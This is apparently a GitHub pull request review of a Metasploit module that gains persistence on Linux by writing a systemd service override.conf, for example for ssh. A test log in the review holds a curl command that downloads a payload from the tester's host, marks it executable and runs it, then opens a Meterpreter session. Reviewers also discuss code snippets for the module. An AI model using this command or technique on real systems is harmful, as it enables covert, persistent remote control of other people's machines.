persistence: systemd service override - #20538
Conversation
msutovsky-r7
left a comment
There was a problem hiding this comment.
Found a bug while testing:
msf exploit(linux/persistence/init_systemd_override) > check
[-] Exploit failed: NoMethodError undefined method `arch' for nil:NilClass
[-] Check failed: The state could not be determined.
msf exploit(linux/persistence/init_systemd_override) > run verbose=true
msf exploit(linux/persistence/init_systemd_override) > run verbose=true [*] Command to run on remote host: curl -so ./LkgearXBzOrm http://192.168.3.7:8080/xjLe7cHOrd0bJcg1JEoaHQ;chmod +x ./LkgearXBzOrm;./LkgearXBzOrm&
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf exploit(linux/persistence/init_systemd_override) > [*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /xjLe7cHOrd0bJcg1JEoaHQ
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Backup copy of /etc/systemd/system/ssh.service.d/override.conf stored to: /home/ms/.msf4/loot/20250915163508_default_10.5.132.164_etcsystemdsys_925722.txt
[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf
[*] Reloading ssh service
[*] Client 10.5.132.164 requested /xjLe7cHOrd0bJcg1JEoaHQ
[*] Sending payload to 10.5.132.164 (curl/7.81.0)
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/10.5.132.164_20250915.3514/10.5.132.164_20250915.3514.rc
[*] Meterpreter session 4 opened (192.168.3.7:4444 -> 10.5.132.164:54192) at 2025-09-15 16:35:16 +0200
Not sure why, but seems like check method is broken - will investigate more.
| ['systemd user', {}] | ||
| ], | ||
| 'DefaultTarget' => 0, | ||
| 'Arch' => [ |
There was a problem hiding this comment.
You may want to check out other arches like MIPS64 and PPC64
There was a problem hiding this comment.
good point. this list is synced across the non-windows persistence modules, so I think it'll be easier to just do one update and get them all at once. Maybe open a new issue and assign it to me to do that and i'll get to it when the rest of these are landed.
| end | ||
|
|
||
| def check | ||
| print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') |
There was a problem hiding this comment.
This seems like a non-issue for ARCH_CMD payloads?
There was a problem hiding this comment.
On second thought, the check method may not be the best place for this. I feel like the check method should only verify a vulnerability exists.
Checking for the /tmp option should probably be done outside the check method, as that's a module setting?
There was a problem hiding this comment.
This seems like a non-issue for ARCH_CMD payloads?
correct, however this has been discussed a few times (@dledda-r7 can provide info) and the potential solution was #20497 (review), however, payload isn't initialized in the check method so it will error out. Another module with another r7 reviewer on one of the persistence modules had this issue (can't seem to find it right now).
However, its still a valid warning, if you delayed starting the service and the host was rebooted, when the service came back up your payload would be gone.
There was a problem hiding this comment.
On second thought, the
checkmethod may not be the best place for this. I feel like thecheckmethod should only verify a vulnerability exists. Checking for the/tmpoption should probably be done outside the check method, as that's a module setting?
I think the check method is the right place. If we move it to exploit the user will get the warning, then have like <5seconds to read it, interpreter it, and job -k #. That is VERY unlikely to happen in time, and w/o things being written to the system. So I think check is the right place, especially because its a warning and not a fail and the risk can be evaluated by the user.
|
|
||
| unless exists?(service_dir) | ||
| vprint_status("Creating #{service_dir}") | ||
| cmd_exec("mkdir -p '#{service_dir}'") # don't use mkdir because it does a register_dir_for_cleanup that we don't want, or it ruins persistence |
There was a problem hiding this comment.
This will fail if there's an errant tik or space, so we are avoiding cmd_exec. Check out the new create_process where we separate the args as an array: https://github.com/rapid7/metasploit-framework/blob/05273263c9b5723dc591f81e18b204a2cbd078d6/test/modules/post/test/cmd_exec.rb#L219C16-L219C109
There was a problem hiding this comment.
This is a copy of what happens with the library, so its arguably no worse than mkdir with a shell. https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/post/file.rb#L132
|
|
||
| if datastore['ReloadService'] | ||
| vprint_status("Reloading #{datastore['SERVICE']} service") | ||
| cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service") |
There was a problem hiding this comment.
Same as above for cmd_exec
There was a problem hiding this comment.
Is there a way to pass the env variable to create_process? Maybe I'm blind, but I don't see that option.
…verride.md Co-authored-by: Brendan <bwatters@rapid7.com>
Release NotesIntroducing a new persistence module, which exploits overloading systemd services. The module will create |
Apparently theres a way to overload systemd services with an
override.conffile in/etc/. Did you know that? I didn't. Well, now theres a module to exploit it. You needrootwhich is suboptimal, andsystemctl statusshows your session being execute, but it also doesn't overwrite or create a NEW service, so its fairly stealthy?Verification
msfconsolessh_loginfor instance)use exploit/linux/persistence/init_systemd_overrideset SESSION <id>exploit